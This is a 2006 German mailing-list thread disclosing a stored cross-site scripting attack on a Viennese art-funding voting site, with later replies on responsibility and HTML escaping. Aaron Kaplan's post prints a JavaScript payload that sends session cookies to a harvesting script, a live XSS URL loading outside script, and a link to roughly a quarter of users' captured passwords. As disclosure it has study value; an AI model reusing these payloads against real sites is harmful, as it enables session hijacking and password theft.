[Metalab] neues [netznetz.net] -> neue abendunterhaltung, neuer hack
Liebe Carla, ich hoffe untenstehende mail erklaert, warum man nicht "einfach so" ein webformular fuer die anmeldung hernehmen sollte. Lieber Domm, ich hoffe ich entlocke dir ein paar schmunzler und hoffe ich hab das niveau mit dieser mail gehoben ... :) Liebe liste und leser, Teil #27 unsere taeglichen telenovella "netznetz aka. RAN AN DIE MILLION"... vorweg, 1) ich finds gut, dass das jetzt auf neue server kommt und 2) ja, das ganze voting sollte in real life passieren, nicht elektronisch. Und es wird eh real life sein, wie immer wieder angekuendigt. Ich bin sicher, andreas trawoeger hat da wirklich sehr gute ideen gehabt (fuer die BB grants). Ausserdem: alles in der mail unten bezieht sich auf den _alten_ server mana.netznetz.net (mit den _alten_ passwoertern. Das erklaert auch warum eine neue anmeldung nicht so bloed ist)
OOPS! update vor 3 minuten: dank http://csi.lo-res.org wissen wir jetzt auch, dass AUCH die NEUE SEITE mana.manila.at XSS scriptable ist. Tja... zu frueh gefreut... Mal sehen, was mit dem neuen server machbar ist... work in progress...
click: http://mana.manila.at/discuss/msgReader$15?mode=%22%3E%3Cscript% 20src=http://csi.lo-res.org/csi.js%3E%3C/script%3E (testen on MacOS X) <<<<< On Mar 30, 2006, at 9:09 PM, Thomas Klausner wrote:
Hi!
On Thu, Mar 30, 2006 at 05:14:06PM +0200, Aaron Kaplan wrote:
nun, liebe leute, da hab ich eine gute antwort darauf :)
mana.netznetz.net war die GANZE ZEIT wieder gehackt . Naemlich ueber ein web formular (XSS attack)
Nochmal: mana.netznetz.net war nie als 'sichere' Kiste geplant, sondern als offene Platform fuer verschiedene beiteiligte developerInnen.
schon klar :) und es wird auch niemand einen vorwurf draus machen. Und am allerwenigsten wuerde ich dir ( domm ) einen vorwurf machen. Ich denke, dass du unglaublich viel und gutes in absolut chaotischen bedingungen in extrem wenig zeit super gecoded hast (ehrlich gemeint! haette es definitiv nicht so gut gekonnt). Darf ich aber trotzdem meine erkenntisse praesentieren? Ich finds einfach witzig! Und bitte das auch mit dem notwendigen humor zu lesen. Tada! The HACK ========= Ich hab naemlich vorher ueber einen _neuen_ hack (und diesmal ist es ein hack) geredet. Neu und frisch serviert aber schon ein paar wochen im system. Vielleicht erkennt der eine oder andere hier sein passwort? http://tema.lo-res.org/~aaron/mana/alteseite/moms.html Das webformular war XSS scriptable[1] ;-) Autor des hacks: Michael Bauer (mihi@lo-res.org) mit ein klein wenig hilfe von mir (aaron@lo-res.org). Aber der genius teil liegt sicher bei ersterem. XSS scripting ============== 1. Bob hosts a web site which allows users to post messages and other content to the site for later viewing by other members. 2. Mallory notices that Bob's website is vulnerable to a type 2 XSS attack. 3. Mallory posts a message, controversial in nature, which may encourage many other users of the site to view it. 4. Upon merely viewing the posted message, site users' session cookies or other credentials could be taken and sent to Mallory's webserver without their knowledge. 5. Later, Mallory logs in as other site users and post messages on their behalf.... (Aus [1]) Was heisst das in unserem fall? =============================== In der session war das mana passwort gespeichert. Jeder browser fragt nach einem bild (http://tema.lo-res.org/~aaron/ mana/alteseite/microglider.html) . Dieses bild ist ein paar pixel gross und schaut am montitor aus wie ein kleines stueck dreck. Das ist ja der perfide daran. Jetzt hat mihi in seinem usernamen / seiner userbeschreibung einen kleinen javascript code eingefuegt: # <script>document.open(); # document.write('<img '); # document.write('src="$URL/manaharvest.cgi?'); # document.write(document.cookie); # document.write('">'); # </script> Dieser javascript code requested das bild ("microglider"). Also eigentlich kommt das microglider .png bild zurueck. Beim requesten hat er aber das passwort an die seite geschickt, von der der microglider kam [5]. voila! Wir haben auf diese art ca. ein viertel (!!) aller pwds gefuden. Oder anders gesagt: die einzelnen browser der mana registrierten haben ihr passwort selber unbemerkt verraten. Unter [4] ist das gesamte XSS script zu finden. Sehr lehrreich. ---- Also wenn _das_ nicht netzkultur ist, dann weiss ich auch nicht mehr weiter ;-)))) REFERENCES ========== [1] Cross site scripting - http://en.wikipedia.org/wiki/ Cross_site_scripting [2] die passwoerter - http://tema.lo-res.org/~aaron/mana/alteseite/ moms.html [3] der glider - http://tema.lo-res.org/~aaron/mana/alteseite/ microglider.html [4] manaharvest - http://tema.lo-res.org/~aaron/mana/alteseite/ manaharvest.txt [5] genauer gesagt, beim requesten hat er die session mitgeschickt. Aus der session wird dann das passwort rausgeholt. PS: wenn die leute fuers coden was kriegen? kriegen wir (privat, mihi, aaron) was fuers security testen? Wie viel wird denn fuers coden vom herrn slunksy verrechnet? Vor kurzem meinte er noch auf dem metalab treffen "ich brauch ein paar coder, es gibt 3k-4k euro" Sorry, ganz ganz frech gefragt.
An sich hat es ja geheissen, dass Mana ab Anfang Jaenner auf einem Server der Stadt Wien lauft. Dazu kams nicht. Und im Jaenner-Chaos hat niemand dran gedacht, die offene Kiste mana.netznetz.net abzusichern (auf der inzwischen ja alle Leute mit Zugang (und das waren viele, standen (oder stehen) diverse Passwoerter ja in div. Wikis/ Mailarchiven - beabsichtigerweise!) verschiedenste Backdoors, Trojaner, wasweissichwaas installiert haben haetten koenne).
Es gab mal einen Vorschlag, ein Security Audit zu machen, der ist aber (wie manche andere sinnvollen Vorschlaege) im niveulosen hick-hack untergegangen.
sollte man ABSOLUT machen! Zumindest bevor mit der software wirklich gewaehlt wird.
beweis kommt heute abend wenn ich ein bissi zeit hab, die mail auszuformulieren :)
das ganze hier erinnert mich echt manchmal an favela soap operas
me to :-/
:) mit humor nehmen.
frage: wo ist die alte seite hin? ich haette sie gerne nur aus demo gruenden.
Die alte Seite (mana.netznetz.net) ist semi-abgedreht, alles wird nach mana.manila.at forgewardet, wo ein Info-CMS rennt (oder so, bitte diesbezueglich Slunsky fragen (der hat das glaub ich gemacht)
Aber natuerlich ist der Code immer noch via subversion verfuegbar, d.h. du kannst auf einem deiner Server eine Demo aufsetzten.
Schoenen Abend, Thomas (der sich das Niveau von OSS-Development-Listen fuer netznetz.net wuenscht)
ich hoffe, ich habe dich erheitert und mehr niveau geliefert. lg, a. PPS: alle bugs in dieser mail sind von mir. PPPS: wenn wir die alte seite samt DB noch irgendwo online haben, dann kann man im mihi account den glider sehen :) Zumindest fuer archivzwecke waers cool. PPPS: Und fuer alle, die aufgrund so einer mail glauben alles ist furchtbar: Seit karl popper wissen wir ja, dass man maximal eine theorie falsifizieren kann. Ein programm/software ist so was wie eine theorie. Also nichts _wirklich_ schlimmes passiert. Es ist keiner mit leib und leben oder eigentum zu schaden gekommen, ok? It's simply (part of) netculture.
On Thu, 2006-03-30 at 23:30 +0200, Aaron Kaplan wrote: [...]
Teil #27 unsere taeglichen telenovella "netznetz aka. RAN AN DIE
Telenovelas sind im besten Fall nervig.
MILLION"...
Mir kommt die ganze Geldverteilungsaktion wie "Junta" vor. Analogien zu ziehen is left as a homework for the reader ....
vorweg, 1) ich finds gut, dass das jetzt auf neue server kommt und 2)
Was offensichtlich nicht impliziert, daß es besser wird. [....]
On Mar 30, 2006, at 9:09 PM, Thomas Klausner wrote:
On Thu, Mar 30, 2006 at 05:14:06PM +0200, Aaron Kaplan wrote: [...]
mana.netznetz.net war die GANZE ZEIT wieder gehackt . Naemlich ueber ein web formular (XSS attack)
Nochmal: mana.netznetz.net war nie als 'sichere' Kiste geplant, sondern als offene Platform fuer verschiedene beiteiligte developerInnen.
Wenn "offene Platform fuer verschiedene beiteiligte developerInnen" impliziert, daß die Kiste drunter *inhärent und/oder potentiell* unsicher ist, dann sollte man sie besser nicht ans Internet hängen (oder sich von entsprechend paranoiden Leuten - entgeltlich oder unentgeltlich - das administrieren lassen). Oder es schrammt knapp an "Vorsatz" vorbei und landet bei "grober Fahrlässigkeit. Und wer immer sich dafür (organisatorisch) zuständig fühlt und/oder ist, sollte besser die Finger von Geräten lassen, die komplexer als ein Toaster (ohne Internetanbindung und SNMP-Support) sind. Ah ja, und Fische beginnen immer am Kopf zu stinken. Und wieder weg bevor ich den nächsten Rüffel krieg, Bernd -- Firmix Software GmbH http://www.firmix.at/ mobil: +43 664 4416156 fax: +43 1 7890849-55 Embedded Linux Development and Services
Hi! On Fri, Mar 31, 2006 at 11:22:54AM +0200, Bernd Petrovitsch wrote:
Wenn "offene Platform fuer verschiedene beiteiligte developerInnen" impliziert, da?? die Kiste drunter *inh??rent und/oder potentiell* unsicher ist, dann sollte man sie besser nicht ans Internet h??ngen (oder
Ein wenig historischer Background: - Anfang August laedt parasew (5uper.net) mich ein, beim sog. SummerSprint mitzumachen, bei dem ein Prototyp fuer ein SocialSoftware-Voting-Geldvergabe-Dings entstehen soll Ein paar Tage Intensiv-Hacken in Payerbach/Reichenau (mit gratis Essen & sogar ein wenig bezahlung (mehr symbolisch) klingt nett, die Projektidee auch, ich fahr also hin. - In Reichenau stellt irgendjemand eine Kiste hin, teilt das root-passwd aus (die Kiste haengt NICHT am Internet), und das happy hacking geht los. - bzw zeigen sich bald div. theoretische Probleme (zB das immer noch ungeklaerte Person/Projekte/Lables-und-Punkte-Gewichtungs-Problem) - wir werde nicht mal ansatzweise fertig (u.a. auch wegen einer sehr laestigen Darmgrippe, die fast alle Anwesenden ein paar Tage in die Knie zwingt) - zurueck in Wien wird der Server ans Netz gehaengt (steht im uebrigen irgendwo im MuQua, relativ leicht zugaegnlich) - Es war immer geplant, die fertige App entweder bei der Stadt Wien oder bei sonst jemand unbeteiligtem (Notar?) zu hosten. - Im Dezember wird klar, dass die Stadt Wien zu teuer ist. - Ausserdem wird beim Parliaments of Art das ganze (kaum vorhandene) Konzept wieder umgeworfen. - Stress bricht aus. ... und ab dann duerftet ihr es kennen... Ich persoenlich find die ganze Security-Debatte eher uninteressant. Fuer die Sicherheit des Servers zu sorgen ist nicht mein Job. Niemand hatte Zeit/Interesse dafuer/daran. Also ist es, wie es ist. Das mit dem XSS haett ich schon verhindern koennen (war mir auch bewusst, dass das geht). Aber wenn man auf ein so bewegliches Ziel wie Mana hinentwicklet, hat man definitv andere Sorgen (und ich dachte schon, der ORF ist ein komplizierter Kunde...) (Andererseits haett ich eh nur einen Filter im Input-Parsing aktivieren muessen, der das JS raushaut. Hab ich nicht. Sorry.) -- #!/usr/bin/perl http://domm.zsi.at for(ref bless{},just'another'perl'hacker){s-:+-$"-g&&print$_.$/}
hi! mir ist das absolut klar, was domm nochmals geschildert hat. Und ich hab glaub ich explizit gesagt: respekt fuer domms arbeit. Ich haette das in der kurzen zeit nicht so gut geschafft. Ehrlich. Also domm wegen security zu bashen -> wer das tut, haut den falschen. Es gibt hier wahrscheinlich auf der liste _niemanden_ der so flott so viel sinnvollen perl code zusammenbringt. Obwohl die widersprueche in der aufgabenstellung so riesig sind. Ich poste so dinge eher zur unterhaltung bzw. als kleine vorwarnung, dass voting server extrem secure sein sollten. On Mar 31, 2006, at 12:04 PM, Thomas Klausner wrote:
und ab dann duerftet ihr es kennen...
Ich persoenlich find die ganze Security-Debatte eher uninteressant. Fuer die Sicherheit des Servers zu sorgen ist nicht mein Job. Niemand hatte Zeit/Interesse dafuer/daran. Also ist es, wie es ist.
Das mit dem XSS haett ich schon verhindern koennen (war mir auch bewusst, dass das geht). Aber wenn man auf ein so bewegliches Ziel wie Mana hinentwicklet, hat man definitv andere Sorgen (und ich dachte schon, der ORF ist ein komplizierter Kunde...)
On Fri, 2006-03-31 at 11:59 +0200, Aaron Kaplan wrote: [...]
mir ist das absolut klar, was domm nochmals geschildert hat. Und ich hab glaub ich explizit gesagt: respekt fuer domms arbeit. Ich haette das in der kurzen zeit nicht so gut geschafft. Ehrlich. Also domm wegen security zu bashen -> wer das tut, haut den falschen.
Falls das nicht klar genug war: Ich hau auf die "Security" (als solche) drauf. Und ich hau nicht auf den Domm, sondern es dürfen sich die dafür organisatorisch Verantwortlichen bzw. dafür Eingeteilten und Zuständigen gehaut fühlen. Und wenn es sonst niemanden trifft, trifft es halt das "Top Management" der Agierenden, weil sie sich eines akuten schwerwiegenden Problems (das ja auch nichts wirklich neues oder besonderes, sondern das tägliche Brot von vielen hier, ist) *nicht angenommen haben* und es v.a. auch *nicht gelöst haben*.
Es gibt hier wahrscheinlich auf der liste _niemanden_ der so flott so viel sinnvollen perl code zusammenbringt. Obwohl die widersprueche in der aufgabenstellung so riesig sind.
Die "Applikationsprogrammierer" müssen auch nicht notwendigerweise für die Security (als solche) der Server drunter zuständig sein (wiewohl es bei Webapplikationen und XSS natürlich schon in deren Bereich fällt). Nachdem es bis jetzt nur Unzuständige gibt, liegt der Schluß nahe, daß das Problem im "Top Management" einfach ignoriert wurde. Als gewerberechtlicher Geschäftsführer (einer Firma, die Webapplikationen anbietet) wäre man da mbMn vol in der "groben Fahrlässigkeit" drin - es ist ja nicht mehr so, daß das Internet noch aus 3 Hosts zwischen 3 Unis besteht, wo man ohne "Dipl.Ing." nicht mal einne Acount bekommt.
Ich poste so dinge eher zur unterhaltung bzw. als kleine vorwarnung, dass voting server extrem secure sein sollten.
*Alle* Server/Rechner/Hosts am Internet *müssen* extrem sicher sein. Es bleiben eh genug Fehlerfälle und Probleme über ..... Bernd Petrovitsch -- Firmix Software GmbH http://www.firmix.at/ mobil: +43 664 4416156 fax: +43 1 7890849-55 Embedded Linux Development and Services
Hi! On Fri, Mar 31, 2006 at 11:59:46AM +0200, Aaron Kaplan wrote:
mir ist das absolut klar, was domm nochmals geschildert hat. Und ich hab glaub ich explizit gesagt: respekt fuer domms arbeit. Ich haette das in der kurzen zeit nicht so gut geschafft. Ehrlich. Also domm wegen security zu bashen -> wer das tut, haut den falschen. Es gibt hier wahrscheinlich auf der liste _niemanden_ der so flott so viel sinnvollen perl code zusammenbringt. Obwohl die widersprueche in der aufgabenstellung so riesig sind.
*blush*
Ich poste so dinge eher zur unterhaltung bzw. als kleine vorwarnung, dass voting server extrem secure sein sollten.
Das war/ist "uns" auch bewusst, zB hat Slunsky im Herbst versucht, ca 10.000 Euro (oder so, keine Ahnung) fuer ein Security Auditing aufzustellen. Hat aber nicht geklappt / sich verlaufen / was weis ich.. BTW: http://csi.lo-res.org/ Genial! -- #!/usr/bin/perl ... http://domm.zsi.at for(ref bless{},just'another'perl'hacker){s-:+-$"-g&&print$_.$/}
hi
mir ist das absolut klar, was domm nochmals geschildert hat. Und ich hab glaub ich explizit gesagt: respekt fuer domms arbeit. Ich haette das in der kurzen zeit nicht so gut geschafft. Ehrlich. Also domm wegen security zu bashen -> wer das tut, haut den falschen. Es gibt hier wahrscheinlich auf der liste _niemanden_ der so flott so viel sinnvollen perl code zusammenbringt. Obwohl die widersprueche in der aufgabenstellung so riesig sind.
*blush*
Ich darf mich da aaron anschliessen, kaputte software ist symptom und nicht ursache der krankheit mana.netznetz.net. Es ist schwer die kranken ideen, die aus den k�pfen der netzk�nstler hervorquellen in sinnvollen klaren code zu packen. Respekt, dass du das �berhaupt getan hast. Und um auf Peter Kuhms vorwurf zu antworten, wir h�tten produktiv was tun k�nnen, an der f�higkeit liegts nicht, es liegt am willen.
BTW: http://csi.lo-res.org/ Genial!
Danke f�r das lob, more to come es ist jeder dazu eingeladen seine oft besuchten websiten zu invadieren ;) gruss mihi -- /usr/bin/perl -e '1==$#ARGV||die "usage: $0 <iPod Volume> <searchstring>"; open(D,"$ARGV[0]/iPod_Control/iTunes/iTunesDB")||die $!;$_=join "",<D>; s/\:/\//g;s/[^\w \.\/]//g;foreach(split /mh(it|sd)/){if(/$ARGV[1]/){ s/.*mhod.//;system("open \"$ARGV[0]$_\"")}}; # TO COPY IS OUR RIGHT!'
Fri 31 Mar 2006 12:45, Michael Bauer wrote:
mir ist das absolut klar, was domm nochmals geschildert hat. Und ich hab glaub ich explizit gesagt: respekt fuer domms arbeit. Ich haette das in der kurzen zeit nicht so gut geschafft. Ehrlich. Also domm wegen security zu bashen -> wer das tut, haut den falschen. full ACK
klaren code zu packen. Respekt, dass du das überhaupt getan hast. Und um auf Peter Kuhms vorwurf zu antworten, wir hätten produktiv was tun können, an der fähigkeit liegts nicht, es liegt am willen. was ich besonders deprimierend finde, die bekommen da ein super tutorial free-as-in-free-beer porto-frei auf die hauseigene-liste zugestellt, sind zu faul zum lesen und/oder lern-resistent, und schreien schon nach mehr, gratis natuerlich.. ..nur fuer Bruno Latour & friends wird kohle fluessig, eh klar.
deprimierend, auch insofern weil einscheinend fast niemand vom p.t. netznetz'schen publikum klar ist, das das ein super-netter proof-of-concept ist, der ganz offensichtlich genau so gemacht wurde damit's gut und leicht verstaendlich ist, und nicht um die eigene "cracker street-credibility" (oops, bullshit-bingo!) unter beweis zu stellen. z.b. bezweifle ich ob, denen uberhaupt klar ist, das ein bild auch ein transparentes 1 pixel GIF sein kann.. od. dass, der exploit wunderschoen skaliert, denn mit jedem account zu dem ich zutritt habe kann ich potentiell, wieder so 'nen code "rein-wuppen" (copyright: eSeL) wie ihn mihi bei sich im profile hatte :)
Danke danke euch fuer das super tutorial, jetzt hab ich nicht nur die buzzwords "XSS" und "cross-site scripting" kennen gelernt sondern versteh das auch gleich :) nett.
lg s. -- "populationen leben den stil der zitate, derer sie maechtig sind." - oswald wiener
On Fri, 2006-03-31 at 14:55 +0200, sebastian sauer wrote: [...]
danke euch fuer das super tutorial, jetzt hab ich nicht nur die buzzwords "XSS" und "cross-site scripting" kennen gelernt sondern versteh das
Ja, jetzt hab ich's auch kapiert, daß das eigentlich was einfaches ist. Um hier wieder mehr on-topic zu werden: Warum wird da bei der Ausgabe nicht einfach alles gequotet, was aus potentiell unsicheren Quellen (wie Usereingaben) kommt? Bernd -- Firmix Software GmbH http://www.firmix.at/ mobil: +43 664 4416156 fax: +43 1 7890849-55 Embedded Linux Development and Services
hi
Um hier wieder mehr on-topic zu werden: Warum wird da bei der Ausgabe nicht einfach alles gequotet, was aus potentiell unsicheren Quellen (wie Usereingaben) kommt?
Gute frage, spl gibt dir da ein ziehmlich nettes xml encoding zur hand, womit das ganze kein problem ist. Perl hat auch sowas afair? Es reicht auch < in < umzuwandeln *G* gruss mihi -- /usr/bin/perl -e '1==$#ARGV||die "usage: $0 <iPod Volume> <searchstring>"; open(D,"$ARGV[0]/iPod_Control/iTunes/iTunesDB")||die $!;$_=join "",<D>; s/\:/\//g;s/[^\w \.\/]//g;foreach(split /mh(it|sd)/){if(/$ARGV[1]/){ s/.*mhod.//;system("open \"$ARGV[0]$_\"")}}; # TO COPY IS OUR RIGHT!'
On Fri, 2006-03-31 at 16:51 +0200, Michael Bauer wrote: [...]
Um hier wieder mehr on-topic zu werden: Warum wird da bei der Ausgabe nicht einfach alles gequotet, was aus potentiell unsicheren Quellen (wie Usereingaben) kommt?
Gute frage, spl gibt dir da ein ziehmlich nettes xml encoding zur hand, womit das ganze kein problem ist. Perl hat auch sowas afair? Es reicht
Sicher. PHP auch. Und ich hab das auch schon mal in C gemacht;-) Die Herausforderung beim "WebApp bauen" ist mbMn eher, das Quoten genau einmal zu machen.
auch < in < umzuwandeln *G*
Der Eleganz und Schönheit halber nimm' ich immer noch > => > dazu. Und das & => & als solches sollte man vielleicht auch nicht vergessen. Bernd -- Firmix Software GmbH http://www.firmix.at/ mobil: +43 664 4416156 fax: +43 1 7890849-55 Embedded Linux Development and Services
all credits for genius go to mihi On Mar 31, 2006, at 2:55 PM, sebastian sauer wrote:
Fri 31 Mar 2006 12:45, Michael Bauer wrote:
mir ist das absolut klar, was domm nochmals geschildert hat. Und ich hab glaub ich explizit gesagt: respekt fuer domms arbeit. Ich haette das in der kurzen zeit nicht so gut geschafft. Ehrlich. Also domm wegen security zu bashen -> wer das tut, haut den falschen. full ACK
klaren code zu packen. Respekt, dass du das überhaupt getan hast. Und um auf Peter Kuhms vorwurf zu antworten, wir hätten produktiv was tun können, an der fähigkeit liegts nicht, es liegt am willen. was ich besonders deprimierend finde, die bekommen da ein super tutorial free-as-in-free-beer porto-frei auf die hauseigene-liste zugestellt, sind zu faul zum lesen und/oder lern-resistent, und schreien schon nach mehr, gratis natuerlich.. ..nur fuer Bruno Latour & friends wird kohle fluessig, eh klar.
tja
deprimierend, auch insofern weil einscheinend fast niemand vom p.t. netznetz'schen publikum klar ist, das das ein super-netter proof-of- concept ist, der ganz offensichtlich genau so gemacht wurde damit's gut und leicht verstaendlich ist, und nicht um die eigene "cracker street-credibility" (oops, bullshit-bingo!) unter beweis zu stellen.
z.b. bezweifle ich ob, denen uberhaupt klar ist, das ein bild auch ein transparentes 1 pixel GIF sein kann..
richtig erkannt :)
od. dass, der exploit wunderschoen skaliert, denn mit jedem account zu dem ich zutritt habe kann ich potentiell, wieder so 'nen code "rein-wuppen" (copyright: eSeL) wie ihn mihi bei sich im profile hatte :)
genau. siehe http://csi.lo-res.org . Die alte seite (aus dem google cache) hab ich auf http://tema.lo- res.org/~aaron/mana/alteseite/index.html gegeben. Aber der browser muesste halt die session mitschicken (was er nicht mehr tut). Egal. Man kann den source ansehen.
On Fri, 2006-03-31 at 12:45 +0200, Thomas Klausner wrote: [...]
Das war/ist "uns" auch bewusst, zB hat Slunsky im Herbst versucht, ca 10.000 Euro (oder so, keine Ahnung) fuer ein Security Auditing aufzustellen. Hat aber nicht geklappt / sich verlaufen / was weis ich..
Um das Geld kann man den sicheren Serverbetrieb (exkl. Applikation) ausschreiben und einkaufen - und nicht nur ein "Auditing" finanzieren, wo (vielleicht) die akuten Probleme gelöst werden und nach 3 Monaten wieder alles offen ist. SCNR, Bernd -- Firmix Software GmbH http://www.firmix.at/ mobil: +43 664 4416156 fax: +43 1 7890849-55 Embedded Linux Development and Services
moin moin meine lieben freunde und die die es nicht werden wollen. ich freue mich das es über die netznetz/mana geschichte eine so angeregte unterhaltung gibt. ich würde mich noch mehr freuen wenn diese unterhaltungen auf der mailingliste von netznetz/mana passieren würde. ich persönlich bin bei der metalab liste weil ich das metalab für eine tolle idee halte und gerne unterstützen möchte. damit ich das effektiv kann, brauch ich aktuelle informationen. nichts liegt mir ferner als irgendjemandem zu erzählen was er/sie wann/wo zu sagen und/oder nicht zu sagen hat (um gottes willen pfui pfui) mir gehts aber mächtig auf die eier mit kram vollgespamt zu werden der mit dem metalab (direkt) nichts zu tun hat. in diesem sinne werd ich mir das noch ein paar tage geben, sollten wir hier aber nicht bald wieder zum thema zurück kommen (und dort bleiben) werde ich meine spamfilter rules so modifizieren das garantiert nix nerviges mehr durchkommt (und vielleicht auch viel nützliches im black-hole verwschwindet) mit freundlichen füßen -der flo -- My parents just came back from a planet where the dominant lifeform has no bilateral bodysymmetry and all i got was this stupid F-shirt.
Moin, Aaron Kaplan(aaron@lo-res.org)@2006.03.30 23:30:45 +0200:
PPS: alle bugs in dieser mail sind von mir.
PPPS: wenn wir die alte seite samt DB noch irgendwo online haben, dann kann man im mihi account den glider sehen :) Zumindest fuer archivzwecke waers cool.
PPPS: Und fuer alle, die aufgrund so einer mail glauben alles ist furchtbar: Seit karl popper wissen wir ja, dass man maximal eine theorie falsifizieren kann. Ein programm/software ist so was wie eine theorie. Also nichts _wirklich_ schlimmes passiert. Es ist keiner mit leib und leben oder eigentum zu schaden gekommen, ok? It's simply (part of) netculture.
die Fahrlaessigkeit wie mit personen-spezifischen daten umgegangen wird, ist himmelschreiend, ich red mal mit meinem rechtsverdreher - obs die MA ist, die denen ermoeglicht ihr Spiel zu spielen oder sie selbst - ist mir ziemlich egal, irgendwer ist klagbar, und wenn ihr nur fuers Audit entlohnt werdet, wuetend, teemu -- "Every man takes the limits of his own field of vision for the limits of the world." - Schopenhauer
Teilnehmer (8)
-
Aaron Kaplan -
Bernd Petrovitsch -
Michael Bauer -
overflo -
sebastian sauer -
Teemu Schaabl -
Thomas Klausner -
Thomas Klausner